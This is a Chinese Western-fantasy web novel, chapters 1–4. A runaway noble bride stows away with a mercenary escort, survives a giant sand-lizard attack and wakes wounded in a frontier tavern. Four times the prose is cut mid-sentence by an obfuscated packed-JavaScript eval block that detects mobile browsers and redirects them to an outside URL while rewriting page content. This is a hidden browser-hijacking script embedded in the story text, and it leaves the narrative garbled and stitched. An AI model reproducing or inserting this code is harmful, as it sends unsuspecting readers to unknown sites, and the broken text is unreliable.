《欢迎来到安全屋[西幻]》 1. 第 1 章 赫斯提亚伯爵家唯一的女儿失踪了。 这消息传到阿尔伯恩王国的边境时，杰拉尔德正在昂比海峡边的某个码头上等待他的雇主。他百无聊赖地摸索着剑柄上的装饰，眯起眼睛望向远处。风传来汽笛的声音，离这个码头不算太远的地方，一架运货列车刚刚驶离偏远的车站，这里还能看到列车上方滚滚的白烟。过了一会，他的同伴来提醒他：“杰里，他们到了。” 此时太阳已经完全落下，运货的工人打开船舱，里面几乎什么也看不见。杰拉尔德在马车边举着防风灯，以便他的雇主点清卸下马车的货物。 “你们怎么花了这么久才到？”杰拉尔德的同伴在一旁开口，语气颇有些不耐烦，“我们在安布拉海那边可等了块一天了。” “算了吧，本森。”杰拉尔德制止了他的同伴，转头温和地对雇主说：“不好意思，先生，我的朋友情绪有些激动。但是，您也知道，货运船的租金不便宜，我们冒着送命的风险护送您的商队，到头来也赚不到几个钱……” “嘿，说得好像我们乐意浪费时间似的。”一个卸货的年轻人粗声粗气地喊道，“要不是那些贵族封锁了港口……” “安静点，吉米！”雇主向他喊道，“出门前你是怎么答应我的？干好你自己的事！” “那是我的小儿子。十几岁的孩子，控制不住脾气，见谅。”他对着身边的佣兵们说，“不过呢，先生们，你们也不必和我玩什么红白脸的把戏，等到了地方，我会加钱的。” “您真是太通情达理了，先生。”杰拉尔德从善如流地说。 “不过，贵族封锁了港口是怎么回事？” “听说是在找人。”雇主慢悠悠地说，“有个小姑娘在婚礼上撞碎了教堂的玻璃，跳进安布拉海里了。” “哦？”杰拉尔德吹了声口哨，“新娘子在婚礼上当场跳海了？” “可不是么！哎，要我说啊，何必那么寻死觅活呢？一个贵族嫁给另一个贵族，难道贵族还能过上什么坏日子不成。” “谁知道那些贵族在想什么。”吉米向他们走过来，“货都装上船了，爸爸，您要再确认一下吗？” “不用了。”雇主看了看天色，“我们得快点走了，不然今天可赶不到布莱德防线。” 没有人再继续说话，舱门重新盖上，货船安静地消失在昂比海峡的夜色里。 “呃，那些贵族真是没事找事，为了一个小女孩这么大费周章。”本森扶着甲板上的栏杆抱怨朝杰拉尔德道，“现在好了，看看这船晃的，这鬼地方全是暗流，咱们来回的时间都要翻倍——你还好吧？吉米……先生？” “我……还好。”吉米已经吐得满脸菜色，此时对两位面不改色的佣兵产生了出于敬畏的短暂友谊。“听说那个新娘是某个老牌贵族的唯一继承人，我猜，她是知道了什么，被灭口了，呕——你知道的，贵族之间总会有什么秘闻。” “哈哈，亏你还有心情聊这些八卦。”本森笑着拍了拍吉米的后背，“不过有精神也挺好的，撑住，小先生，我们还有很长时间才能靠岸呢。” “我宁愿你安慰我马上就到岸边了。”吉米绝望地说，他还想开口说些什么，又一个浪打过来，在船只剧烈的晃动中，他只能再次把头伸到栏杆外面去了。 本森似乎是被新娘的话题触发了某种联想，开始哼起一首关于婚礼的歌。船只晃得几乎停不下来，他换了只手抓住栏杆，向他沉默的同伴搭话。 “杰里老弟，你是不是还没结婚来着？诶，你要不仔细看看海里，说不定真能捞出个新娘来。贵族可没我们干这事专业，你说是不是？” 但杰拉尔德没理会他的笑话，似乎有另一件事吸引了他的注意。他走到本森身边，皱着眉头说：“你有没有听到船舱里有什么动静？” “什么？”本森的表情严肃起来，他侧耳听了一阵，沉默着向他点点头。 “船舱？船舱里怎么了？”吉米歪过头看着他们，他试着像两个佣兵一样听出些什么来，但他听了半天，耳边只有海浪击打船舷的声音。等他把头从栏杆边挪回来，甲板上只剩下了本森——杰拉尔德手上防风灯的暖光已经消失在船舱门口。 杰拉尔德往船舱里走了几步，举起防风灯环顾四周，灯光只能照亮他面前的一小块地方，这里没有任何异常，只有一摞又一摞的货箱。他回头看了看，狭小的舱门还能投出夜空的星光越发显得周边的黑暗密不透风。他思考了一下，扯上防风灯的遮光罩，抵上舱门，在黑暗里开始等待。 船舱随着海流摇晃着，如同本森所说，这段航程并不平静，货船在暗流和礁石间穿梭，船舱很快迎来了一阵剧烈的晃动。 货箱挤压在一起发出沉闷的响声，杰拉尔德扶着船舱的墙壁，屏息倾听。在货箱发出的杂音中，混入了一声轻微的闷哼。 猎人锁定了他的猎物。 黑暗中，一阵脚步声骤然响起，在一声短暂的惊呼后，防风灯的灯光重新照亮了一小片空间，杰拉尔德有些惊讶地发现，被他反剪双手、用膝盖按在地上的，是一位穿着婚纱的新娘。 新娘似乎是愣了一会，很快挣扎起来，用一种强硬的语气喊道：“放开我！” “恐怕不行，小姐……”杰拉尔德歪头想了一会，说：“也许是夫人？随便吧，以防您没有弄清楚情况，是您擅自闯入了我们的货船，根据法律，您现在完全归我处置了。” “法律？”新娘笑了一声，“您是说阿尔伯恩王国的法律？难道我们不是在越过边境线吗？” “看来您的脑子挺好用的。”杰拉尔德一动不动，“那么我提醒您一下，没有法律，我就算把您扔进海峡里也无所谓。” “谢谢提醒。”新娘的半张脸贴着舱底的木板，斜着眼睛定定地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879048|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着杰拉尔德的脸，她的眼睛在灯光下剔透得像两只玻璃珠子，闪着火焰金色的光芒。“那么我们来谈谈生意吧？您的雇主给您多少钱？我出双倍。” “现在我开始对您的提议了。”杰拉尔德松开她，退后了半步，“您打算怎么付钱？” 新娘坐起身来，在身旁的一堆湿透的布料里翻了一会——杰拉尔德观察了一阵子意识到那是一件湿漉漉的罩衣——拿出一对珍珠耳环。 “这个大概值200银镑。”她说，“如果不够，就再加上我的手镯。” “您知道我可以直接把这些东西抢走的吧？”杰拉尔德抱着胳膊说。 新娘向一旁挪动了一步，用脚尖挑开了防风灯的玻璃灯罩：“那我就烧了这里，我们同归于尽，也是个不错的主意。说实话，我还没有真的结婚——您还算有张英俊的脸，我喜欢您的蓝眼睛，咱们就这么一起和这些货物在大火里消失，还挺浪漫的，您说呢？” “很有胆量，小姐。”杰拉尔德放下胳膊，缓缓把一只手搭在剑柄上，“但很可惜，刚才您应该也意识到了，您不是我的对手——再说，我也可以直接把您交给在安布拉海上找人的那些贵族，对吧，逃跑的新娘？” 新娘，或者说逃跑的新娘垂下眼睛，盯着杰拉尔德的剑柄看了一会。她的头发还是湿的，浅褐色的发丝贴在她的额头和脸颊上，配上她那双眼尾下垂的眼睛，显得无辜又无措。 过了一会，她抬起眼睛来，金色的火光跳动在她的虹膜上：“你不会的。”她说，“我认识你，杰拉尔德.洛佩兹，你的通缉令前几年在迪亚斯派克教皇公国贴得到处都是，我猜他们应该也还记得你。” 杰拉尔德的手握紧了剑柄。在他真的把剑抽出来之前，面前的少女却极其突然地软下语气来：“而且——求求您了，先生，我没有其他地方可以去。”她把手镯褪下来，连着耳环一起捧到杰拉尔德面前，“您可以拿着这些，我求您把我带到无人区，那里有我唯一能投靠的人。如果还不够，您可以拿走我的琥珀胸针，但是请留着它，我会尽快把它赎回来——它是母亲的遗物。” 两人沉默地对望着，谁都没有进一步的动作。船舱里一时间只剩下货箱挤压和海浪翻滚的声音，直到船舱的门被突然打开，本森的声音在外面响起来：“杰里，下面怎么样了？”他喊道，“出了什么问题吗？要不要我帮忙？” 杰拉尔德终于做出了反应。 “没什么，一点小状况。”他朝舱门外喊道，“我这就上来。” “你。”他重新看向少女，“你叫什么名字？” “拉维妮娅.赫斯提亚。”她还举着那些珠宝，“直接叫我拉维妮娅吧。” “拉维妮娅。”杰拉尔德点点头，他把手从剑柄上挪开，接过拉维妮娅手里的珠宝，转过身去。 “留着你的胸针吧。拿上那盏灯，跟我来。” 2. 第 2 章 “……这就是你说的，''一点小状况''？” 本森站在船舱的门边，一只手胡乱在自己多日没有修剪的胡须上抹了一把，语调虚浮地说：“不是，老弟，我之前说新娘什么的是开玩笑的……你从哪真的弄了个新娘来？” “说来话长。”杰拉尔德伸手把拉维妮娅从船舱里拉出来，“但是不管怎么说，她付钱了，现在这位小姐也是我的雇主之一。” “……行吧。”本森皱着眉头打量了拉维妮娅一会，最终只是耸耸肩说，“你知道你在干什么就行。” 杰拉尔德模糊地应了一声，转头看向拉维妮娅：“你得换件衣服，穿着这个可过不了布雷德防线的岗哨。” 等他带着拉维妮娅走远，一旁还扶着栏杆dq吉米这才压低声音问道：“她不会就是……” “别问。”本森懒洋洋地说，“这也是为了你自己，小先生。像这种麻烦事，知道的越少越好。” 当货船终于到达海峡对岸，已经是几个小时之后。 工人们打开船舱，开始将货物再次搬上马车。吐得两腿发软的吉米只能坐在旁边，而他的父亲似乎是和佣兵们达成了某种共识，都对航行中突然出现的少女只字不提。 那件婚纱当然已经不存在于货船上，当车队离开海岸，缓缓接近布雷德山脉的时候，它大概早已消失在昂比海峡难以捉摸的海流之间。 拉维妮娅坐在车队的最后一架马车后面的隔板上，这里能清楚地看到逐渐远去的海峡。月亮已经逐渐移向东边，海峡的海水黑沉沉的，像某种油质一般，在表层反射出白色的粼光。 在离她更近一点的地方，杰拉尔德单独骑着马跟在车队最后。 “你看上去很紧张。”他说，“我们还没通过布雷德防线，如果你后悔了，现在回头还来得及。” “不。”拉维妮娅回答得很快，她的目光远远地落在海峡对岸，带着一种茫然的疲惫，“那里没什么好留恋的……再说，我也不想回去嫁给一个从没见过的男人。”她顿了一下，深深吸了口气，“况且，他们不过是为了我继承的家族遗产，说不定在婚礼第二天报纸就会报道我不幸去世，留下伤心欲绝但富有的丈夫什么的……” “你就因为这个游了大概十公里到昂比海峡？”杰拉尔德语气夸张地说，“怎么做到的？” “什么？没人能穿着裙子在海里游十公里——”拉维妮娅瞪着他，“你是故意的吧？” “是啊。”杰拉尔德耸耸肩，“感觉好点了吗？打起精神来，布雷德防线要到了。” 拉维妮娅回过头去，越过马车的车篷看向前方。那里的山体里镶嵌着金属砌成的墙体，它们和山体本身连接着构成一片堡垒状的长条形掩体，拉维妮娅知道，这种掩体几乎分布在整个布雷德山脉，使得这条南北纵贯的山脉成为一道严丝合缝的防线。商队离得越来越近，这处防线就像一只俯视的巨兽，墙体上露出的炮口正黑洞洞地盯着他们。 远远地，他们听见车队前方传来吉米兴奋的惊呼。 “继承人小姐，你现在的表情大概和那个男孩也差不多。”杰拉尔德停在她身边，用一种揶揄的口气轻声说。 “你现在闭嘴我会感觉更好一点。”拉维妮娅咬牙切齿地露出了见面以来的第一个微笑，小声回敬道。 在他们说话的空当，车队已经开始继续前进。和看上去防卫森严的建筑完全不同，值夜的守卫只是懒懒地瞥了他们一眼，就打着哈欠拉下了铁闸门。 “就这样？”吉米困惑地嘟囔道。 “就这样。”本森拖长了声音说，“早年间是比较严格，不过自从十几年前的''猎魔热''之后，几乎就没什么限制了——说到底，这也不是针对人类的防卫工程。” 他们穿过这只铁与山石构成的巨兽的喉咙，日月在他们来处的地平线交汇，天空呈现出一种朦胧的乳白色。吉米的声音又在前方响起，拉维妮娅忍不住站起身来，攀住马车的顶篷，向前方看去。 在山脉形成的天然屏障之后，视野骤然开阔起来，山地和草甸正迅速过度为空旷的平原。放眼望去，这里几乎没有高大的植物和突出的地势，一切都在眼前一览无余，天地间似乎只有灰黄色地平线平滑的弧度。 拉维妮娅感到一阵微风拂过她的身侧。她回过头，身后的铁闸门已经完全关闭，她最后看了它一眼。 她知道她已不可回头。 车队在无人区行进了大半天后，所有人都沉默起来。越是向无人区深处走，土地越是荒凉，现在，他们几乎碰到了一小片沙漠。太阳已经升到了天空正中，拉车的马不耐烦地打着响鼻，本森从车队的最前方绕回来，示意杰拉尔德可以找地方歇一会。 杰拉尔德在附近转了一圈，领着车队到一处草木相对茂密的地方歇息。拉维妮娅从马车上跳下来，眯起眼睛打量了一下四周，犹豫着问：“我们还有多久才能到？” “半天或者一天。”杰拉尔德说，“别催，行进的时间由我和本森控制，你只要管好自己跟着我们就好。” 这话说得有些让人不舒服，拉维妮娅很想反驳他，却又感到没什么力气开口。她舔了舔干燥的嘴唇，转到一边去，试图清理掉进袖口和裤腿里的沙子。 大约几分钟之后，她的面前出现了一个皮质水壶。 “省着点喝。”杰拉尔德说，“我只有这一壶水。” 拉维妮娅似乎是愣了一下，杰拉尔德看见她的眼睛睁大了些，过了好一会，视线才从水壶上移到他的脸上。 “谢谢。”她最后说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879049|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来不是错觉，杰拉尔德看着她拧开水壶缓缓地想，那不仅是火光的颜色，她的眼睛确实是琥珀色的。 事实上，她的头发在干燥时颜色也更浅些，几乎是亚麻色的，这让他整个人在过于明亮的阳光下显得有些透明，仿佛几乎要融化在日光里。 杰拉尔德沉默了一会，还是补充道：“你说你要去石碑镇，我们下一站就要去那了……别太着急。” “石碑镇是个不错的去处，不缺水，镇子中心还有酒馆和旅店，不会像这块地方这么难熬。” “谢谢你这么说。”拉维妮娅真心实意地笑了一下，“虽然听起来不太可信，但是我在那里有半个酒馆的继承权。如果下次我们再碰见，也许我能请你喝酒。” 她重新盖上水壶，却发现杰拉尔德的表情变得有些微妙。 “怎么了？” “不，没什么。”杰拉尔德抹了一把头发上的沙尘，与拉维妮娅不同，他的头发是黑色的，那些沙尘在上面非常明显。 他还想说些什么，本森的声音在稍远一点的地方响起来。 “杰里。”他喊道，“你得看看这个。” 杰拉尔德向拉维妮娅摆摆手，示意她拿着水壶，转头向本森走去。 “……你怎么看？”本森问。 “沙蜥。”杰拉尔德看着地上的痕迹说，“起码在准成年状态。” “我也这么觉得。”本森说，拿出腰间的长筒左轮确认了一下弹药装填的情况，“我们得赶快离开这，要是成年沙蜥可就麻烦了。” “我去通知车队。” “怎么会在离防线这么近的地方？”本森忍不住骂了一句，“真是够倒霉的。” “快走吧。”杰拉尔德叹了口气，“要是这里真的是它的领地，它不把我们全部碾碎埋进沙子里是不会罢休的。” 车队草草收拾完毕，摇摇晃晃地向灰黄色荒地的更深处驶去。 在黄昏降临的时候，他们终于在地平线上看到了些新的东西，一些岩石带开始在荒地上出现，更远的地方，似乎隐约能看见一些绿色。 “我们要到了。”本森宣布到，“坚持一下，到了中转的绿洲，就能安心休息一会了。” 变故就在此刻陡然发生。 杰拉尔德似乎察觉到了什么，眯着眼睛在车队的斜后方来回逡巡。他的视线在某个特定方向上停住了，脸色渐渐难看起来。 “怎么了？”拉维妮娅问道，跟着望过去，那里渐渐出现了一个灰色的小点，像是聚集起来的一小团沙尘，不停地滚动着。 她看着那一小团灰点，还有些摸不着头脑，杰拉尔德已经转过头来，表情前所未有的严峻，他拽紧手里的缰绳，短促地向车队大声命令到：“快跑！它来了！” 3. 第 3 章 马匹嘶鸣着加快了速度，货箱在马车里摇晃，车轮的轴承在高速旋转中发出不妙的“吱吱”声，车轮在沙地和石块之间跌跌撞撞地滚动着，车轮后的沙土扬起半人高的烟尘。 赶车的工人们咬牙向绿洲的方向看去，它就在地平线上了，却又显得还很遥远。和那片绿洲相比，那只沙蜥的速度要快得多，在马车仓皇加速的时间里，拉维妮娅已经能看见它在沙土中若隐若现的灰褐色脊背，细密的鳞片在逐渐黯淡的日光下闪烁着金属般的光泽。 “再快一些！”本森吼道，“它钻不透湿润的泥土，等我们靠近绿洲它就会停住了！” “我们没法再快了，看看这些马！”一个工人说，声音像尖锐的哨音，“你们难道没有什么更好的方法吗？那怪物就要追上来了！” “你看我像扛着布雷德防线的大炮吗？”本森黑着脸说，“我们只能拖住它。快走！” 杰拉尔德已经抽出了腰间的剑。这柄剑的剑身上雕刻了一排长而繁复的符文，在他握紧剑柄挥下一剑时，那些符文中的几个交替着闪烁了一下，顺着剑身挥过的轨迹，一道弧形的光芒迅速产生，没入下方的沙土中。 沙蜥似乎停顿了一下，有什么东西打中了它，它似乎有些疑惑地从沙土里探出头来，鳞片后的眼睛死死地盯着前方。 如同本森所说，杰拉尔德造成的伤害相当有限，不过给沙蜥的鳞片上添了一道浅浅的裂口。他又多挥了几剑，那道裂口渐渐扩大了，本森及时抬起手，向那道裂口开了一枪。 但此时沙蜥开始烦躁地甩动头颅，那一枪打偏了，正打在沙蜥狭长的鼻吻部。它扬起头来，发出一声吼叫，头部再次消失在沙土里。 “哦，不！”一个工人惊恐地叫起来，其中一辆马车原本在车队靠前的地方，在沙蜥的吼声里，拉车的马似乎受到了惊吓，胡乱挣扎起来，连带着马车脱离了车队，走出一条歪斜的曲线，很快落在队伍最后面。 “我拉不住它了！”赶车的工人颤抖着说，“我拉不住它了！谁来——” “快扔下那辆车！”拉维妮娅伸出头来喊道，“它要——” 她没能说完那句话。沙蜥巨大的锥形头颅在沙尘下出现，仅仅是一瞬间，落单的马车就滑进了它大张的嘴里，在那些锯齿状的尖牙间被压成了一堆碎片。 沙地的震动间，沙蜥从那里完全现身，它硕大的身躯像一座小山一般在原地上来回挪动着，把马车的残骸压成一堆分不清内容的烂泥。 太阳渐渐落下去了，马车的摇晃间，拉维妮娅看见沙蜥被笼罩在在夕阳昏暗的余晖里，呈现出一种令人不适的深红色。 她分不清那种红色到底来自哪里，也不敢费心去想。她的心跳得快极了，血液鼓动着敲打她的鼓膜，有那么一会，她在耳边听到尖锐的嗡鸣声。 车队没有停下来，在沙蜥原地徘徊的时候，那些货物的拥有者——那位雇主，只是沉声命令其他赶车的工人：“快走！它现在被拖住了。” 两位佣兵终于放弃了营救那辆马车——它现在实在是看不出来是辆马车了，杰拉尔德狼狈地从沙地上爬起来，刚才沙蜥冲出地面的时候，他的马也跟着受惊，跌进了那团沙土里，他不得不跳下马，以免一起被卷到沙蜥的肚皮底下。 本森从马上伸出手来拉了他一把，他们勉强赶上车队，杰拉尔德抓住马车一边的车棚，跳进马车里。马车的隔板发出一声悠长的吱呀声，杰拉尔德趔趄了一步，一只手伸出来，扶住他的胳膊，是拉维妮娅。他愣了一下，意识到那只手上都是冰冷的汗水。 “我们不能再这么跑了。”拉维妮娅说，她的额头上布满了冷汗，好不容易干燥的发丝又贴在脸上了；但她的神色意外地非常冷静，近乎接近无情绪的冷漠。 “这样拖不了多久，它很快就会再追上来的。”她用一种陈述的语气说，“我们要另想办法。” “有什么办法就快说，小姐。”本森声音嘶哑地说，“等它真追上来可就来不及了。” “我们的左前方现在有一片丘陵。”拉维妮娅短促清晰地说，带着某种无意识的强硬，“看见那两块凹陷的岩石了吗？试试把它卡在中间。” “然后呢？这儿的岩石都快被风化了，它很快就会挣脱的。” “砍倒一些岩石，封住它的路线。”拉维妮娅看了杰拉尔德一眼，没等杰拉尔德回答，直接转头向本森喊道，“你那把枪能射出□□吧？它的弱点在哪？头部？眼睛？” “……我知道了。”本森说，“就这么办吧。但是，这把枪十分钟之内只能用一次极限程度的加强魔法——我们只有一次机会。” 他骑着马靠到马车前方，几秒钟后，马车转了一个急促的弯，直直地向那片丘陵驶去。杰拉尔德稳住身体，双手握紧了手里的剑，有那么一瞬间，剑身上的符文几乎全部亮起，一道刺眼的光晕在剑刃上出现，飞速向沙蜥面部的裂纹袭去。 这一剑几乎毫无保留，那条裂纹瞬间被撕裂成一条深可见骨的硕大伤口。沙蜥发出一声刺耳的号叫，扭动着把半截身体沉进沙土里，迅速向他们追来。也许是因为疼痛，它的速度比之前还要快，几乎是眨眼之间就来到了马车后方。 “我，我们要撞上石头了——”赶车工人难以抑制地叫出声来，“货物会被撞碎的！” 没人有空理会他。本森突然猛地拽紧缰绳，马车在两块硕大的岩石前进行了一个角度刁钻的s形转弯，堪堪避开前方杂乱的岩石堆，与沙蜥的前爪擦肩而过；与此同时，盛怒的沙蜥直接冲上了丘陵的岩石地表，在一阵轰响声中卡在了岩石的凹槽形成的缝隙间。 它扬起头，吐出分叉的舌头，试图从缝隙中钻出来，但更对的岩石块落在它的旁边，让它挣扎的动作逐渐艰难起来。 “就是现在！”拉维妮娅喊道，“快动手！” “告诉你点新东西，小姐。”本森举起手里的枪，枪管上的符文一个个被点亮，“看见它脖子末端那块逆生的鳞片了吗？对着那个能击穿它的心脏。” “天呐，原来是这样。”拉维妮娅崩溃地重复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879050|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“你倒是快动手啊！” 本森的手指已经搭上了扳机，枪口指着沙蜥胸口逆鳞下的心脏。被推进到极限的魔法咏唱在枪口上聚拢成一个闪烁的光团。 沙蜥似乎感觉到了什么，俯下身子对着他们发出一阵“嘶嘶”声，在接近它后脑的地方，露出一块浅蓝色的、类似水晶的东西。 “等等！那是导体矿！”方才快吓呆的工人突然叫起来，“看看它的颜色！我想起来了，就是这只怪物，露丝玛丽男爵夫人悬赏一千金镑要它！” 他着了魔似的朝沙蜥的方向跑去，好巧不巧地挡住了本森的视线。 “快让开！”本森气急败坏地吼道，他迅速调整了姿势，但还是晚了几秒——沙蜥身旁的石块开始崩塌，子弹在原本目标上方几毫米的位置击中了它，撕开一个深深的洞口。 “这下糟了。”本森骂了句脏话。 沙蜥开始疯狂地挣扎。 它几乎是在地上打滚，巨大的尾巴和四肢胡乱挥舞着，碎石被它的身体碾压成粉末，灰黑色的烟尘几乎将整块丘陵都笼罩起来。 杰拉尔德把剑插进石块之间，剑身发出的光芒形成一片屏障，勉强挡住了沙蜥蜴突然挥来的尾巴。他们朝马车的方向跑去，那名工人已经在烟尘和岩石间不知所踪。 本森率先拉住了马车，向他们大喊道：“快点！” 拉维妮娅攀上马车的一侧，突然感到有人重重推了她一下，但她没太在意，马车很快离开了那片丘陵，去追赶远处的车队。 几分钟后，在似乎终于可以放松一下精神时，她意识到情况有些不对，背上火辣辣得，身体却有些发冷。她缓缓将手伸向后背，摸到了温热粘稠的液体。 “我感觉我好像——”她眼前一阵模糊，在失去意识前最后听到的是杰拉尔德慌乱的喊声。 “欢迎来到安全屋。”米拉贝尔靠在吧台旁边打了个哈欠，今天酒馆的人不多，像大部分时候一样，“这里禁止斗殴。您想要来点什么？” “米拉贝尔小姐！您得来看看！” 吧台后通向后厨的门猛地被推开，厨房的小帮工头发蓬乱地从里面冲出来。 “……怎么了，亨利？”米拉手一抖，差点把手里的酒杯打翻，“喘口气，别这么大惊小怪的。” “不，不，不是！”亨利语无伦次地说，“您快来！厨房里有、有——” “行了，我这就来——你来这替我看一下吧台。” 米拉推开后厨虚掩的门，探进去半个身子。几秒钟后，她一言不发地闪进后厨，迅速摔上了门。 “你最好给我解释清楚这是怎么回事。” 大约半小时后，米拉站在酒馆二楼一间被临时清理出的房间门外，抱着胳膊，用谴责的目光看向杰拉尔德。 “首先，谢谢您替我救了她。”杰拉尔德对她行了个夸张的骑士礼，“其次——你得去问问阿诺德，这姑娘和我说她在石碑镇上继承了一家酒馆，而据我所知—— ——石碑镇就这一家酒馆。” 4. 第 4 章 拉维妮娅是被一缕阳光唤醒的。 这不是什么浪漫的说法，阳光从窗帘的缝隙里漏进来，牢牢地粘在她的眼皮上，逼得她不得不把眼睛睁开，又在强烈的光线下眯起眼睛，下意识地打量四周。 这是一个不大的房间，大部分是木质结构，那些木头看上去有些年头了，但没什么缺损的地方，大概是主人把它维护得很好。不过这显然是不常用的房间，墙面灰蒙蒙的，大部分地方都盖着防尘布，窗帘像是临时扯来的一块布料，大小不太合适，勉强遮住窗户的大部分。 她试图翻个身，背对那道阳光再睡一觉；但她失败了，背部传来撕扯般的痛苦阻止了她，她只好老老实实地保持着原来的姿势，小心地转动了一下脖子，好让光斑从眼睛挪到脸颊上。这个动作也让她的视野集中在房间的木门附近，因此，当门把手转动的时候，她第一时间就发现了。 开门的是个女人，她看上去比拉维妮娅稍年长些，有一头利落的黑色短发和漂亮的深小麦色皮肤，衣袖卷起，露出小臂上流畅的肌肉线条。她似乎是不想放下手里的托盘，用肩膀抵着门，低头盯着托盘上的水盆不撒出水来。 当她终于她起头来，四目相对时，拉维妮娅看见她颜色浅淡的蓝眼睛闪过惊讶的神色。 “你醒了。”她快步走到床前，把托盘放到床边的椅子上，“谢天谢地！你足足睡了三天，我都要开始担心你醒不过来了。” 拉维妮娅想说些什么，但女人脚步不停，绕过床尾走到窗边，拉开了那条不怎么合适的窗帘——在窗户的咯吱声中，阳光和干燥的空气涌进了整个房间，拉维妮娅能看到闪着光的细小灰尘在空气中不规则地运动。 女人匆匆回到床头，拿起水盆里的毛巾拧了几下，想起了什么似的，向拉维妮娅伸出手：“我是米拉贝尔.涅普顿，你可以叫我米拉。来吧，我来帮你坐起来——小心点——你得换药了。” “谢谢您。”拉维妮娅抽着气起身，“这几天都是您在照顾我吗？” “是的，不过我猜你还有很多问题。”米拉制止了想要再次道谢的拉维妮娅，小心地揭下伤口上的纱布，用沾湿的毛巾清理周围的皮肤，“但是我现在要上药了，你得先忍着点。” 米拉的话说到一半，拉维妮娅已经感到微凉的膏体落在她的背后，紧接着是针扎般的疼痛。她飞快地抿住嘴唇，以免咬到自己的舌头。 大约半分钟后，那股疼痛变得麻木了。米拉已经将新的纱布缠好，满意地在拉维妮娅的肩膀上轻轻拍了拍：“伤口恢复得不错，再过几天应该就可以用加速愈合的魔法阵治愈了。” “谢谢，米拉小姐。”拉维妮娅喘了口气，终于找回自己的声音：“我是怎么到……” “杰里把你带过来的，他说你要找这的酒馆。”米拉开始收拾药膏和纱布，“关于你母亲的情况我也搞不清楚，你一会问问阿诺德吧？我去叫他上来……哎呀，你怎么了？” “抱歉，我的……”拉维妮娅猛然想起她的胸针来，突如其来的情绪让她有些眩晕，她很快发现这不是错觉。 “天呐，你得躺下。”米拉扶住她的胳膊，“真抱歉，看来我不该让你这么快就起身。” “我……我没关系……” “躺下。”米拉强硬地说，“你得再休息会。别着急，之后我们还有很多时间。” 即使拉维妮娅坚称这不过是一时的不适，米拉还是重新拉上了窗帘，嘱咐她再躺一会。拉维妮娅无奈地闭上眼睛，出乎她本人意料地，很快又沉沉睡去。 等她再次醒来，房间里已经十分昏暗，她摸不清现在是什么时候，试探着想坐起身，到窗边看看。 但基于她背上的伤口，这个动作在没有他人帮助的情况下显得有些困难。她咬着牙挣扎了半天，房间的门倒是先来了。 现在她非常确定天色已经不早了——进门的中年男人手里拿了盏烛台，他有一双机敏的绿眼睛，在过长且蓬松的胡须和头发的包裹中，显得像某种大型掠食动物。 “天呐！你怎么了？快躺好。”他快步走到床边，关切地望着她，“如果你想要什么，告诉我和米拉就好，我们时不时会来看看的。” 烛光照亮了床边的一小块空间，拉维妮娅这才看到之前米拉放托盘的椅子上放了些水和食物，看上去已经冷透了。 但拉维妮娅此时有更要紧的事：“您！您是阿诺德.亨特先生吗？” “我是。”阿诺德把那些冷掉的食物放到一边，坐到椅子上。 “拉维妮娅小姐，是吗？”他温和地说，“关于你的母亲……你说这是她的遗物？” 拉维妮娅看见他拿出那枚琥珀胸针，微微松了口气。 “实际上，要把它打开才是。”她说，艰难地挪动着胳膊，阿诺德眨眨眼，把胸针放进她手里。 胸针的底部被打开了，底座上有一张叠起的纸片，拉维妮娅把它打开，那是一封手写信，署名正是阿诺德.亨特。 “母亲的遗物里只有这个到了我的手上。”拉维妮娅说，“她很早就下落不明了，这封信被她夹在一本童话书里……我猜信上说的，你们两个共同拥有酒馆的事还算数。” “所以你就这么直接过来了？”阿诺德惊讶地挑了挑眉毛——他的脸有一半都被落腮胡覆盖了，这个表情显得有点滑稽，“万一我已经不开酒馆了呢？或者我骗了你，我不是什么阿诺德.亨特，只是个图谋不轨的家伙？” “那样和我留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879051|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿尔巴恩结婚也差不了多少……至少来这里还有一线希望。” “……这点倒也很像你的母亲。”阿诺德摇了摇头，“你很幸运，孩子，你之前碰到的那个冰块脸小子是这儿数一数二靠得住的人——我也确实是你要找的阿诺德.亨特。” 